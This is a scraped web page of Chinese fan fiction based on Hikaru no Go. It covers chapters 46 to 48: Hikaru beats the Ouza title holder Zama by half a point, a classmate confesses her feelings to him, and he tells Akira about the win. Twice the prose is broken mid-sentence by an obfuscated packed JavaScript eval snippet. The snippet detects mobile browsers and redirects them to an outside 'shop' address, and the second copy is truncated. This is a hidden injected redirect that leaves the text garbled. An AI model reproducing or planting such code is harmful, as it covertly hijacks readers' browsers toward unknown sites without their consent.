“我想……应该有职业水平吧。” “职业?” “塔矢老师是这么评价的。” 座间面上保持微笑,却在内心偷偷表达着不悦:怎么如今的小孩都学不会谦虚呢,棋院的人倒是经常说起他,但他才12岁,大脑都没发育完全,能天才到哪里去?塔矢行洋也是,自己的学生也不知道好好教育教育,小小年纪就恃才傲物,日后肯定会摔跟头! “塔矢名人这么说啊。那我让你2子如何。” 座间一脸“这事就这么定了”的表情,已经准备打开棋罐了。 光连忙出声制止,他可不想再来一次自觉倒贴十五目的新初段联赛! “——谢谢座间老师!可是能不能请您和我互先呢?我姑且……也在快棋里赢过绪方老师。” 光只能再搬出绪方这尊大佛。虽然那棋其实是佐为下的。 但座间似乎没打算让步。 “绪方九段吗?但那是快棋吧,跟真正的对弈还是不一样的。指导棋讲究合适的棋力匹配,差距太大的话,你学不到什么东西,明白吗。” “呃……这个我也明白……” 光急得抓耳挠腮。其实他在网上也偷偷用sai的账号下赢过其他职业棋手,但这些又不能说。他是真想和座间一对一踏踏实实较量一场的,一味被小瞧的感觉让他有些窝火,尤其座间还在言语之间表达了对塔矢行洋的不满。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533109|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到自己现在是小孩子,出言不逊一两次应该也不会有太严重的后果,光咬紧牙关,决定干脆莽撞一番。 “但是不行的!我和塔矢老师下棋也只不过是让先而已!如果您让我2子,我就太胜之不武了!” 座间顿时脸色大变。 面上已是阴云一簇。 “你……是觉得你会赢我,是吗?” 众人也是一片哗然。秘书都快吓疯了,怎么会有人敢在大名鼎鼎的王座老师面前大放厥词?这工作他都要闹丢了! “喂,进藤!!”这种时候出来扮演黑脸的是负责攒局的久原木子郎,他直接一个当场怒喝,“你这样对座间老师太不尊重了!” 久原自然知道光的棋力,他和座间分先,那是毫无问题。 问题是要如何说服傲慢的座间同意、并且全力以赴。也许给座间看看进藤光与塔矢行洋的棋谱,他自然就能答应了,但这么直白地在“王座”面前展示其他四冠王的棋谱,对本人确实不太体面,金牌经纪人讲究的就是一个让大家都体面地把事情办好。于是他换了个办法。 先把自视甚高的进藤光训斥一顿,然后压住他的头、让他向座间王座道歉。 自己也跟着一起低头道歉。 “对不起!我们这个进藤君就是有些不知天高地厚,但是,就当是满足他一个愿望,拜托座间老师您就和他分先一次吧。对局的情况我们绝对不会外泄的!” “你们啊……” 座间没有直接回答,只是对秘书使了个颜色。经验丰富的秘书赶忙拉走了负责牵线的久原,带他走到墙边,冷眼道:“座间老师没有陪你们过家家的义务。签的合同是指导棋。指导棋就该有指导棋的样子。” 久原疯狂赔笑:“当然当然!所以,就算不是指导棋也没问题的!以座间老师的实力,偷偷给他放点水,让他下得开心一点就行了,最后进藤反正一定会输的,光是能有机会和座间老师下分先棋就足够让那小子兴奋一阵子了。我们也只是想给围棋部的大家鼓鼓气,让他们6月参加联赛更有干劲。” “……哄令尊那套吗?” “不愧是您!一说就明白!” “这可是要加钱的。” “我知道!” 谈话间他好像偷偷给秘书塞了点什么。光瞥见一角,疑似一张支票。 果然还是要靠钞能力吗?!光条件反射地捂住自己的嘴,以免一时说出什么不该说的话。 然后终于,座间顶着不得不陪一个小孩胡闹的心情,毫无好脸色地抓起了棋子。既然是赚钱的工作,那就看在钱的份上友好地完成吧。他只要在棋局里加倍把这份不快反击回去就好,让这个不知天高地厚的小孩知道知道,胆敢挑衅“王座”的后果,可不是他一个自称职业水平的业余棋手能承担的! “请多指教,座间王座老师。”光怀着惴惴不安的心情开始了对弈。 “嗯,请多指教。”座间随便应付了一句。 没想到竟然是如此不愉快的开端。但也无所谓,只要这局棋能进行,就足够了。 光猜错了棋子数量,他执白后行。 “……” 座间的第一手下在了星位。 光将手指伸进棋罐,夹起了第一枚白子。他觉得手掌忽然变得很沉重,犹如千斤大石压在肩头。但他等这一局,也等了很久很久,如今的他迫切需要一场实力相当的对弈来打破数月以来的混沌。 没事的,佐为就在身后。有佐为支撑着他的信念,他什么也不怕。 不管座间如何轻敌,进藤光都做好了这一局要全力以赴的准备。 如果座间只当他是个满口说大话的小屁孩而放松警惕,那他就用足够强硬的棋风去告诉对方,轻视他会遇到什么样的惨败!! “来吧!直接拖你进入激战!” 他坚定不移地抬高右臂,将棋子掷向目的地。 ●○●○ 47.Chapter 46. 王座不保 “……” 座间略加思考,便不紧不慢拉开了对局序盘的节奏。他的计划是稍微给点这个小鬼面子,然后以绝对的碾压级优势结束这局棋,打击打击这个小鬼的自信心,但他也不会做太绝,完事之后像模像样点评几句、夸奖夸奖这个小鬼的天分,就算是替花钱雇他的久原校长找回面子了。毕竟业余初中生输给王座不仅不丢人,还是一种荣耀。 但棋局没走几步,他就感到了一丝不对劲。 这个小鬼……说自己是职业级别的水平,好像还真不是在开玩笑。 布局扎实有力,行棋也很大胆。面对座间的试探,丝毫不虚。 “气势倒是不错……”座间盯着进藤光那奇异的刘海打量了几秒,很难评价他的真实感受,“放在院生里确实是鹤立鸡群的棋感了,可是,凭这点本事就可以向本王座叫嚣分先吗?” 光没有试图否认这种判断。 他的全部精力都放在了棋盘上,棋盘以外的座间在想什么,他不关心,也不在乎。 旁观着棋局的久原为他捏了把汗。这是久原好不容易半争取半骗来的对弈机会,只要这局棋进藤光表现出色,绝对可以一炮打响在围棋界的名声,有了名声,就不用愁后续没有其他对手主动找上门。 但如果进藤光输得很惨,座间对这个对手毫无印象的话,那笔巨款就相当于是直接打了水漂了。就算是再溺爱久原的校长爸爸,也不会容忍儿子一直那样浪费金钱。 久原说服校长的理由,是进藤光未来“有希望成为世界冠军”。 如果佐和良出了个围棋世界冠军,而且是不到15岁的天才少年冠军,学校的声誉无疑会瞬间抬高到与海王平级。届时,种种合作都会纷至沓来,生源也不用发愁。 但如果进藤光辜负了他的期待、短期内一事无成的话,校长毫无疑问也会削减对围棋部的支援力度,甚至最终取消他那张黑卡的使用权吧。 这是一场不成功便成仁的豪赌。 一定要下出好棋啊!进藤光! 久原托着下巴一言不发的样子在围棋部其他人看来都很反常。这个小记者平素就是活泼外向的性格,很爱开玩笑,说话腔调drama得要命,浑身都是梗,看棋时更是从来都忍不住要发表大段锐评,今天却安静得出奇。 为什么他会那么紧张? 山崎幸看着久原额头上的汗珠,都怀疑是不是空调没开够档。 但令他燥热的并不是气温。而是……进藤光和座间王座下出的每一步棋。 围棋部其他成员因为实力太弱看不出来,但擅长读棋的久原是能窥见一斑的:那两人究竟站在多高的地方、以怎样凌驾于常人之上的算力和直觉,进行着巅峰等级的对抗。简直是他需要仰头酸脖子都看不完整的高度。 单单是近距离能看到这种对局,都让他的心脏狂跳不止。 同样能感觉到这股杀气的,还有现役院生柴田悠一。他本来还陷在不久前进藤光给他出的难题里,努力想着解题的办法,一筹莫展,却在看到这一局棋后彻底忘记了继续思考。 怎么会有……这么离谱的局面? 进藤光的实力到底有多强,说实话,以他的棋力暂时还打探不了,但座间王座的实力可是毋庸置疑的!王座是日本围棋七大头衔之一,论含金量,仅次于大棋圣、名人和本因坊,排在第四。如今前三头衔,有两个在塔矢名人那,有一个在桑原老头那,相当于座间就是日本排名第三的职业棋手!金字塔尖中的金字塔尖! 为什么,为什么这个进藤光,和座间王座都可以在开局阶段下出五五开的阵势?! “唔……居然是夹吗……” 纵使是身经百战的座间老油条,也体会到了这个小孩身上不同寻常的气焰。 说自己下赢过绪方?看来不是说谎。 但是,姜还是老的辣。心急吃不了热豆腐。开局的见机行事本就是座间在让他,现在也只是右下角被平分秋色而已,右上角和左下角还是黑棋稳固占优。这个进藤,想拖他迅速进入激战?想得美!围棋还是讲究大势,只要他不上当,谁又能奈他何? 他座间五连霸王座之位,人称“人型计算机”,论算力从不会输!就算最近在国内赛事没拿下什么显眼的成绩,但超一流的基础是随时可以激发出超强水准的! “我改变主意了。”座间的眼中蒙上了厚厚的一层阴影,“让你先尝尝甜头再把你击溃?不,我要从一开始就让你溃不成形!” 啪—— 黑棋一转守势,无视了光的挑衅,不再采取现代惯用的定式。 “咦?”光眯起双眼。 宇宙流三连星的大模样已经稳固,谷地只会越来越深。 如果白棋不来切割的话,就会为时已晚…… 这样啊,座间王座认为他没有力量击破这个阵型,所以直接把剩下的那个角喂给他了。 这份夹杂着微妙愤怒的蔑视让光浑身都起了鸡皮疙瘩。 “那这样又如何?!” 他不再迟疑,抢先夺走了座间下一手棋准备抢占的先机。 作为黑棋那样下是理所当然的,但是作为白棋…… “好、好奇特的一步。”观战的柴田都有点看不明白了,“他到底打算怎样拆开座间王座的布局?没见过这样的下法啊……” 柴田自然没见过,因为这是光与塔矢亮对弈时尝试过的、特殊的一手。接受了过于完善的现代围棋教育的塔矢亮就相当于日本棋坛今日标准化棋力的浓缩,有他在,光思考的所有对策,都是专门攻击深受现代围棋精髓熏陶的棋手而诞生的,就比如——面前的座间。 这是他几个月来不断与亮交手的成果。 不堂堂正正又怎么样?赢才是目的! 柴田都如此,其他人就更是完全看不懂了,只能跟着两人一步一步的你来我往估算一下整体形势而已,完全不知道下一手该下在哪才有可能取胜。只有久原木子郎依旧一言不发。 他不想出现任何声音、任何动作打扰两人的对弈,因为此刻,正是进藤光的头脑运行到最滚烫的时刻! 座间的棋风偏向狡猾多变、擅长给对方埋雷,经验越老道的棋士越容易预测年轻棋士的思路,一旦入套,满盘皆输,这也是光目前必须攻克的难点。所以久原才选择了他作为光的首位高段对手。 跨过他!然后!进化吧,进藤光—— “跳出去!” 光抓住座间的空隙,在那绝佳的时机、绝佳的位置,下出了绝佳的一手! 这一手并非占了座间掉以轻心的便宜,而是在座间决意全力反攻之后,迎难而上做出的抉择!封锁了座间上方的发挥余地! 借此机会,中腹的争夺战白棋将变得极有优势! “可恶……” 至此,座间再也摆不出起初那种装模作样的姿势了,他开始忍不住咬扇子。 区区一个无段棋手,居然能把他逼到这份上?去年可是还完全没听过进藤光的名字啊!有这种实力,不可能会默默无闻!棋院那些记者都在吃干饭吗?! 黑棋右上角看似是实地,但那是业余棋手才会犯的判断错误。 刚刚进藤光的跳,冥冥之中将实地变成了“不是实地”。这不是1+1=2的区别,而是从0到1的、本质上的反转! 虽然才下了这么几手,一般人很难说准后续的展开,但在棋盘征战数十年的座间哪里能看不出来? 面前这个12岁的小毛孩,是有这种确保盘面往最佳方向倾斜的掌控能力的! “……座间老师开始着急了。”光注意到了对方的焦躁。 明明在这么多人看着的场合下,以座间爱面子的性格,就算再勉强也会假装云淡风轻。可现在已经不是让他摆弄神态的时候了。宇宙流一旦被封杀,再想重新回到优势可谓颇为棘手。 不过,座间毕竟是座间,就算一时急躁,也不会因此失去平时的水准。反击得稳固而老辣。 光进而侵入右上角的黑棋腹地。 座间防守得完美无缺。 光略加沉思,再应以一手小飞。 久原双眼一亮。 “……嘶,是妙招啊!这样下去,黑棋的两边会被夹断……只要白棋做活……反而能优哉游哉地争取到一片实地!” 看似平平无奇的局面,硬是在朝光冲锋的方向扭转。 明明是黑棋在追杀白棋,白棋却反而落实了腹地,还顺便捡到了半个角。 成功了! 光感觉浑身都在发烫。 这种感觉……这种久违的全力思考的感觉……是会让人上瘾的! 十年后的自己,能看到不一样的东西,视角、高度、焦点都大不相同。 座间是功利心很强的人,棋也如此,能采取收益最大的线路达到目的就必不会甘于平庸。但在这种商业活动里,他不可能尽全力,体力脑力的消耗都必须留给未来的官方赛事。那么,他的思考就必定不会太过周全。进藤光选择了最大限度地利用对方的松懈,拖长时间,把每一处都考虑得尽善尽美。 就像输入公式得到结果一样简单。他看得清棋盘上的推演。 光化身舞者,穿行其中。 “好优美的盘面……”佐为不禁以扇掩面,双眼流露出对围棋的热爱,犹如仙音下凡,流连忘返,“小光,你又成长了啊……能和这样的强敌在同一片战场上博弈,还留存着伶人一般的优雅……” 不多一步,不少一步。 正正好避开攻击,正正好侵入敌腹。 当然,座间的反击也并非无效。他不是一味在忍耐,忍耐不是他的风格,第63手一招跳,轻松将白棋的行进路线困住。他高举缰绳,试图将这个跳舞的伶人捆缚起来,即便无法将他挡在原地,也能用尽可能长的绳索切割他舞蹈的空间。 攻势守势,无数次交换。 你来我往,这才是最顶级的棋手的较量。 看似败手的一步,也很可能重新接连起来。 不到最后谁也无法预料结果。 “不愧是是王座,竟然能这么多次追回……”光的手心全是汗,他不得不在裤腿上擦了一下右手,才能继续下棋,“要在这里预防一下吗……不,不能再被攻到了,一旦这里失守,会直接让黑棋走上顺路……” 以座间的实力,他不会放过这个顺路。 围棋最难的就是维持攻势。一旦有一个地方判断错误,就可能脱先,然后局势就不一定会倒向哪一边了。 而座间的恐怖之处就在于,即便攻势被进藤光断了无数次,他也能照常在不久后反杀回来,每一招都让人喘不过气。这种锋芒尽显的逼人姿态,确确实实就是真实的他的性格写照。如果是佐为的话,会怎么应对这样的强攻呢? 光的嗓子开始干枯,他想喝点水润润嘴唇,又怕一分神思考就断了,什么也不敢做。 不,这一局他必须要赢。 进藤光的耳边回响着对局开始前久原木子郎的承诺。 “你现在不管三七二十一总之需要多对局,而且是和职业高段棋手的对局,不这样是进步不了的。很遗憾,职业考试一年只有一次,我们不能干等到9月。所以在那之前,我会用爸爸的人脉,尽可能多地制造你和职业棋手对局的机会,今天的对弈就是那枚最关键的跳板。” 如果他想一口气冲上国际 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光在恍惚之中听见座间咬断了扇柄的声音,他最后有没有说那句“我认输”?也许是说了吧,因为好像有人冲上来拥抱着光发出了鬼喊鬼叫,大概是久原,只有他会这么莽撞。是吗,对局结束了啊,是他赢了啊。还有人在身后“啊?啊?啊?”个不停,大概连是谁赢了、为什么赢了都没看出来。 胜负只在半目之间,光和座间都是职业棋手,能一下子算出准确的数值差距,其他人反应不过来才是正常情况。 然而光的传感器还是迷迷糊糊的,有种飘在半空的奇妙的失重感。 “小光!太好了!” 直到佐为的声音无比清晰地传入耳中。 外界的一切,才终于又和他连接在了一起。轰隆,听见了,他吐出憋在肺里的那口空气,沉重的枷锁全部断裂了,他真真实实地站在地上,面前的佐为正在对他微笑。 光连忙擦去眼角的泪,对他也挤出一个微笑。 “佐为!我赢了!我赢了半目!” “嗯!恭喜你!” 佐为的喜悦甚至比他本人还要多。与光朝夕相伴的半年来,佐为一直想着怎么才能让光下出更好的棋,当然只是正常地对弈光就会进步了,毕竟对手是佐为嘛,但是,佐为还是不太确定在遇到其他类似水平的对手时,光能否尝到胜利的果实。 只是输棋,剑会变钝。 只是赢太简单的棋,剑也会生锈。 还好,光的剑出鞘了,是闪闪发亮的。没有钝也没有锈,是一把真正的好剑。佐为双手举起袖子,在光的身边团团转,满脸都是幸福的笑容。果然小光就是他最最最最最优秀的弟子! 与他们相比,座间的脸色就很难看了。 他到现在还是没法接受自己居然以半目之差输给了一个业余棋手、而且还是个小孩子的事实! 半目之差可以说是实力不分伯仲,但是,他可是稳坐王座的座间大老师!所有棋手见了他,哪个不得毕恭毕敬?这样的他,要是败给一个名不见经传的小孩…… 座间一把将烂掉的扇子丢上了秘书的脸。后者痛得捂住了牙。 “嗷——” 不!这件事绝不可以外传!!! 比起输棋的丢脸,座间第一时刻想到的竟然是如何善后。还好经验丰富的秘书也知道该如何应对座间的暴脾气。他迅速和久原交换了意见,之后也对围棋部的学生们进行了一番解释:刚刚那一局是座间老师下的指导棋,因为进藤光不想要让子,所以座间老师故意在让着他,最后故意叫他赢了半目。当然,能把棋顺利下完的进藤光本身也是实力惊人了,值得特别表扬。 这样的解释令双方都能收场。久原当然也满口答应。 以完美的90度鞠躬送走座间大老师之后,他迅速解散了等候在围棋部的学生们,只剩下自己和进藤光两个人。 这时,久原才终于恢复了原本活力满满的样子,“咔嚓”就对着棋盘来了一张照片。 “你干嘛?”光略带嫌弃地看着他。 “趁尸体还在,记录一下案发现场。免得最后他不认账。”久原说话时都在憋着笑,“进藤,你看到刚才座间的表情了吗?他是真的完全没想到会输给你啊!能咬坏木头扇子也是牙口真不错了!哈哈哈哈!” “……” 光无语地看着他又举起相机对自己一顿狂拍。该说私生饭还是那个私生饭吗,拍棋盘也就算了,拍对局结束后的棋手做什么啊。 忽然,仿佛想起什么似的,光拿起书包推门就跑。 久原连忙喊住他:“你要走了吗,进藤?不复盘了?这一局很重要哦!价值30万哦!!” 光头也不回地丢给他一个背影。 “现在就先算了!我有个地方想去。” “待会还有庆功宴哦!A5级和牛你不吃啦?!!” “下次再说!” 说罢他就飞也似地消失在深紫色的夕阳之下,独留久原一个人在棋盘前发愣。诶,但是,他刚刚可是创下了战胜座间王座的史无前例的壮举啊,一般人这种时候不应该喜形于色吗?至少也要一整晚乐得睡不着觉吧?为什么进藤反倒一点兴奋劲儿都看不出来?连美食都吸引不了他半点?诶?到底是谁赢了啊? 久原忍不住再看了一眼棋盘。好像没错啊? 也好,先把这一局作为世界冠军·进藤光的初阵,详细记录下来,录入他的棋谱收集列表里再说吧! 从今天起,围棋新星进藤光,必将走向更广阔的舞台! ●○●○ 48.Chapter 47. 憧憬之人(五月五日番外) 【本章为番外,但不建议跳过,结尾有少量主线;不在意可直接下一章!】 佐和良中学,简称佐和中,放眼整个东京也算是小有名气的学校,其值得铭记的除了优秀的成绩和学生社团,还有一大片繁盛的枫树林、和名满东京的围棋部。 幸从小就向往着那个地方,每次熬到放学回家,在离山崎宅不远的街道尽头,总能看见枫树林旁边的教室里,一群神情严肃的大哥哥在下围棋。 那是幸第一次见到黑白二色的棋子。她被他们全神贯注思索的表情、举手投足之间沉着有度的气质、以及获胜时一刹那的轻松和笑意所深深吸引了,小小的脸上不自觉流露出了名为“好奇”的羡慕情绪。 “我想像他们一样,在棋盘上开辟自己的世界”——在大家一起埋下小学毕业纪念愿望瓶的那天,幸写下了这样的祈愿。 她开始学习围棋了。 然后,她发现围棋真的是一件很有意思的事,虽然有时候也会困难得让人想放弃。钻研棋谱时,她会觉得自己的脑子完全不够用,根本推算不出两步以后的盘面,也因此对那些能往后推测五六步的棋手心生向往。 他们可真是太厉害了,厉害得不像凡人。 “山崎,你又在看进藤君了啊?” 邻座笑嘻嘻的少女拍拍她的肩,突然闯入她的视野。幸闹了个大红脸,连忙回避似地低下头去。 “没……没有!是你想多了啦!” 慌慌张张地否认着,她没有勇气再抬起头。 国中开学的第一天,她就在围棋部招新的地方见到了那个金色刘海、给人非常温暖的感觉的少年。根据他和围棋部其他社员的对话,幸猜测,他的实力非同一般。 那个少年笑起来很好看,言语也比同龄的孩子成熟许多,常常是一副处事不惊的态度…… 就好像,现在校园生活中发生的事情都没有被他真正地看进眼中一样。 他是个怎样的人呢? 他在棋盘上的世界,又是什么样的呢? 她想知道更多关于他的事。 “那个……如果方便的话,能……能否请你和我下一局?” 某日的课程结束后,幸忐忑不安地找到了即将迈出校门的金色刘海少年,鼓起勇气询问道。 “嗯?你是?” 进藤光回头看着她。 “啊……那个……” 其实话一出口她就有些后悔了,明明都已经到了必须回家的时间,初次见面的人忽然提出如此失礼的请求实在欠缺考量。幸不知道该怎么道歉,只紧张地绞着手指,心扑通扑通直跳。 与她的预期所相反,少年只是愣了一下,便很愉快地点点头:“没问题的,我知道这附近有家围棋会所,你要不要一起去?” 于是幸怀揣着满心欢喜跟上了少年的步伐,少年没有看上去那么不善言谈,他总是在适当的时刻带动话题的走向,这大大减少了幸的尴尬,虽然少年时不时会望向身边空无一人的地方微笑着发呆上一会儿(与佐为交谈),但是幸觉得,这样神秘的忧郁气质非常有魅力。 聊了几句,两人也渐渐熟悉起来。幸这才知道,那个少年的名字是进藤光。 进藤光……果然是人如其名,就像散发着耀眼光芒的太阳。 进藤君的棋力比幸见过的任何一个学生都强,她原本认为自己在同龄棋童里算是水平不错的存在了,可是真刀真枪地交手之后,才更加体会到什么叫“无法望其项背”的实力。费劲心力撑到中盘,幸觉得自己再不认输就有点丢人现眼的意味,只好放下手中的棋子。 “是我输了。” “承让。”进藤君的神色看上去是已经对胜利习以为常,他的侧脸线条柔和而流畅,“服务员,麻烦加两杯热茶。” “好的。” 闻言,不明所以的幸有些局促地看着他:“诶?” “不复盘吗?”进藤君的嘴角上扬的角度实在完美无缺,“当然,如果你赶时间的话……” “不不不!完全不赶时间!”幸欣喜若狂地摇摇头,“进藤君能帮我复盘我真的很高兴!倒是进藤君,这么晚了不会耽误你的时间吗?” “我没事,平时回家还得更晚一些,刚刚我打电话说今晚可能不去找他的那个家伙,塔矢亮,以往每晚都要和我对弈到8点呢。” 进藤君的话语让她充满了被开解的安心感,这更加坚定了她对进藤君善解人意的印象。 “那就好。”幸甜甜地笑道。 “你的棋,直觉很准,能看出来曾经接受过专业的训练,但是到了细致的地方常常犯错……” 进藤君讲棋的声音也很温柔,他的脾气好到无法想象,看到多少次幸的漏洞都耐心指导,相比白天和男生们大大咧咧的语气,现在的他就像在对待自己的珍宝一样迷醉。 幸想,他一定非常非常喜欢围棋,比自己喜欢围棋还要多一千倍。 经过那一天之后,幸就无法停止对进藤君的关注。少女的小秘密在邻座同学的眼中完全没有隐蔽性可言,于是幸被迫开始思考这个问题—— ……我是不是开始依恋上某个人了呢? 她每天都坚持去参加围棋部的活动,进藤君却常常不在那里,围棋部的其他人说他在围棋界是一支出名的潜力股,每晚都去和天才神童塔矢亮对弈切磋,而且往往将对方完败,这激起了幸追逐他脚步的决心。 想要触及他的背影,哪怕只是一点点。 进藤君上课听讲偶尔会睡着,打瞌睡的进藤君格外可爱,幸抑制不住自己满眼的笑容,直到老师把困倦的他叫起来。在做其他事的时候,进藤君却很能干,被交代的工作绝对一丝不苟地完成,只是有时会莫名其妙地走神。大家都说他对生活没什么热情,但是幸明白,他只是把热情太多地分给了围棋而已。 这样的进藤君,已经将幸的心紧紧占满,难留空隙。 美梦一直延续到一个月后。5月5日男孩节,幸带上了自己最近的棋谱前往进藤家,希望能让进藤君看看自己一个月来的进步。与他的每一次对局都让幸意识到自身的许多不足,并且促使她飞快地成长着,幸感到非常满足。 首次踏进进藤君的房间,幸浑身上下都不自在地叫嚣着”紧张得快要疯掉”,进藤君却只是友好地笑着搬来棋盘。 似乎是那种上好的榧木棋盘。那是棋具中最高级的一种,纹理微妙,棋盘香味特别,有多种功效,也是下棋的人最感兴趣的棋具,现在在市场上几乎没有买不到榧木棋盘,极度稀少,而且有价无市。 他居然能舍得在棋盘上花这么多钱? 看他家的装饰,也就是个普通的上班族家庭而已啊。 “山崎,你最近棋力增长很快嘛。” 在她想着奇怪的事时,进藤光已经主动开始了对话。 “啊,进藤君已经注意到了?”幸快乐地应道,“我还以为看不出来呢……” “进步的速度已经很了不起了。我有个朋友叫藤崎明,她最近也在学棋,你们说不定会在明年大赛上碰面。下次有空我介绍你们下一局吧。” 藤崎明,是女孩子?幸突然不安起来。她想换个话题。 “说起来,进藤君家为什么不挂鲤鱼旗?” 幸一时多嘴问了一句不该问的话。 那时,平日里从容不迫的进藤君第一次流露出悲伤的神情,他望着窗子的方向出神了许久,才掰出一个僵硬的笑,“我也不知道,大概是会让我想起什么很可怕的事吧。” 面对那样消沉的进藤君,幸无能为力。 她还完全不了解这个少年,他的心情,过去的故事,以及恐惧。 “进藤君……我……” 幸下狠心,决定从眼下开始改变自己半吊子的暗恋心态。 “——我喜欢你!我知道现在说这种话好像没有什么分量,但是我会更加、更加地了解你,然后再站在你的身边的!” 她一口气说完了所有的告白。 进藤君很明显地傻眼了,半晌,他才迟钝地摸摸后脑勺:“呃……哈哈哈,为什么听见一个12岁的小女孩说出这种话觉得有点诡异啊……” “诶?” 幸的脸瞬间赤红。 过了一会儿,大概是过了一会儿,进藤君才正经地收束起他的表情,认真地看着她。 “对不起。”他的笑容真实而毫不做作,“你知道的吧,我的心从一开始就被分成了两半。一半已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我明白了……”不知为何,进藤光总有种又被骗了的感觉,“这次我一定要赢你!” “你已经说过这句台词很多次了啊,小光。” “不许吐槽!” “但是啊,小光。”佐为慢慢放下手中的折扇,口吻不容置疑,“……你所隐瞒的那些事,究竟要什么时候才能告诉我?” 进藤光的瞳孔缩小,打开棋罐的手僵在半空。 他略微艰难地呼吸着,转过身时,正好对上佐为纯净的眸子,里面写满了担忧。 “嗯。以后一定会告诉你的。一定。” “一个人瞎担心可是什么都解决不了的哦,小光。” 佐为严肃地拿扇子敲敲他的头,出乎意料的,这次光没有躲开,也没有抱怨,这让佐为感到了奇怪的恐慌。 “我知道……对不起,害你难过了吧,佐为?” “小光你又在道歉了。”佐为极力纠正他的歉疚,“我说过多少遍了,小光你并没有亏欠过我什么,恰恰相反,还一直在为我着想,没有什么好愧疚的!” “也许我不曾亏欠现在的你,但是……” ——我亏欠过去的你太多太多了。 进藤光突然有点说不下去了,如今这样的时刻,告诉佐为真相只会让他更加烦恼。 ——没关系,这些痛苦由我来背负就足够了,我一定会找出让你幸福的方法,我发誓。 于是他抬起头,咧开嘴:“我们约好,等我考上职业棋士的时候就告诉你,怎么样?” 拿到职业证书的自己,仿佛才能站在原来的位置说出这句话,进藤光心底的某处这样觉得。明明毫无逻辑,他却意外地贪恋着那般虚无缥缈的安全感。 “真拿你没办法,那你可得好好考才行。” 佐为撅起嘴,却只能退让一步表示同意。 这一年的5月5日,距离职业考试预选赛还有两个月。 距离记忆中佐为消失的时刻,仅剩两年。 ●○●○ 49.Chapter 48. 寂寞与嫉妒 紫水围棋会所。 市河发出一声惊呼,自动门被人莽撞地撑开,只见进藤光挥袂生风地快跑走进棋盘之间,脚步急得几乎没沾地,满脸都是汗水,连他一贯引以为傲的金色刘海都在风里凌乱得不成样子。他穿越了那么遥远的距离,只是为了尽快抵达这个地方,把最重要的消息告诉他最想告诉的人。 光迅速扫过人群,在一片黑压压的影子中找寻着心心念念的身影。 “呼……哈……” 在哪……塔矢……?为什么找不到? “——怎么了,进藤。” 没想到那人的声音是从身后传来的,塔矢亮没坐在往常的位置上,或许是因为进藤光没有来会所的计划,他才把座椅让给了来店的客人。 见光气喘吁吁,亮有些疑惑。 “不是说今天没空过来吗。” “……我……赢了。”光说起话来都上气不接下气,但他眼里的兴奋无法隐藏,“我赢了……座间王座!!” 亮一愣。 他听到对面那金色刘海的少年的话语之后,竟一时无法做出回应。 此刻的围棋会所里还有不少人,亮可以听见异常清晰的棋子敲击棋盘的声音从四面八方传来,以往的节奏感不知怎的有些杂乱无章,他注视着对方的眸子,似乎在认真地告诉他自己并没有怀疑。进藤为什么会和座间王座对弈这种事根本就无关紧要。 比起怀疑,更强烈的感情是吃惊。以及……未能成为那局棋的主人之一的……不甘。 进藤……赢了座间王座? 是啊,他早该料到了,以进藤的棋力,虽然无法一直下赢高段棋手,但互有胜负是极为正常的。现在只是那“胜”的一局提前到来了。仅此而已。 可是,到底什么时候,他才能和进藤面对面地下出那种级别的棋呢? 什么时候,进藤话里的对手才能变成“他”? 到底……还要等多久? 急切的寂寞如蚁酸般啃食着内心,亮情难自禁地握紧手指,在掌心攥出深深的红印,但这份失态绝不能被对面看到,于是亮迅速垂下手臂,默默将那股冲动压制在身后。只有眼睛,眼睛是不会说谎的,亮的那双锐利的墨绿色眼眸,此刻就像被胶水粘在进藤光身上一样,直指光的眉心。 后者都被看得有些不自在了。 “塔矢?”光眨了眨眼,拿出手掌在发呆的亮眼前乱挥,“喂——你不信吗?!亏我还特意用跑的来告诉你!” 亮这才反应过来,精致修剪过的发丝因他抬头的动作而微微摇曳。 他艰难地组织着语言,试图恢复平常的微笑:“不,我只是有点……吃惊。” 过了一会儿,他才说出后半句话。 “和那位座间王座交手,竟然能赢半目……数日不见,你又变强了很多。事不宜迟,马上把你们的对局摆给我看吧。” 到嘴的质问终究还是没能说出口,塔矢亮低下头去收拾棋盘上躺着的残局。 光对亮的一举一动都很关心,马上盯上了他面前的棋盘。 “嗯?你刚刚在打谁的谱?” “诶,小光,我怎么觉得这一局有点点小眼熟。” 进藤光的面前突然多出一缕幽灵挡住了视线,他连忙侧过脸,才发现是佐为已经迫不及待地挤到棋盘前,恍然大悟地张大了嘴。 “呀!这不就是昨天晚上我的那局……” 话未说完,塔矢亮便先一步开口了:“这是sai最新的棋谱。之前父亲说过的吧,他的实力绝对是世界一流。昨天深夜路过棋室时,我看见父亲正在独自钻研一局棋,正是这局sai与一柳棋圣的对弈。能引起父亲兴趣的棋一定不简单,所以今天一整天,我都在摆这盘棋谱。” “……” 佐为下意识地加大了手中的力度,那把折扇也愈加充满了战意,仿佛那个值得一战的对手就坐在面前。 一柳棋圣不知为何很喜欢上网下棋,拜他所赐,佐为终于得偿夙愿,和日本棋坛顶尖级的棋手有了一次深入的手谈。由于是网棋,很难确认对方是否百分之百投入,但就结果而言,sai执黑不败的战绩又增添了亮眼的一笔:他最终赢了一柳4目半。 但是,比起独揽“棋圣”之名的一柳,佐为更在意的却是对话里的塔矢行洋。 佐为的反应被敏锐的光察觉到后,光也不禁感到一丝欣慰。 “嗯,确实是一流,准确地说是超一流。毕竟他是我引以为豪的师父嘛。”光掩饰住自己收不拢的笑容,吸了吸鼻子,“上周塔矢名人的研究会上,我记得就专门讲过几局他的棋?” 